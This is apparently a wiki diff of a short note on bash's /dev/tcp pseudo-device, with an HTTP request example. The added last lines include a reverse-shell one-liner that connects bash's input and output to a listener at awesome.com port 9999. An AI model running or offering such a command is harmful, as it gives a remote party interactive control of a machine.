Differences

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--- there_s_a_dev_file_for_tcp_connections [2010/06/21 05:59] – created tkbletsc
+++ there_s_a_dev_file_for_tcp_connections [2010/09/02 15:12] (current) – tkbletsc
@@ Line 1: / Line 1: @@
-They're of the form:
+It doesn't really exist -- it's simulated by bash only when doing redirections.  They're of the form:
   /dev/tcp/<hostname>/<portnumber>
@@ Line 6: / Line 6: @@
 To get a bidirectional TCP connection in shell script:
-  echo 3 <> /dev/tcp/awesome.com/9999
+  exec 3<>/dev/tcp/www.google.com/80
+  echo -e "GET / HTTP/1.1\n\n">&3
+  cat <&3
+To make an interactive bash shell appear for someone listening at awesome.com port 9999:
+  bash 0<> /dev/tcp/awesome.com/9999 1>&0 2>&0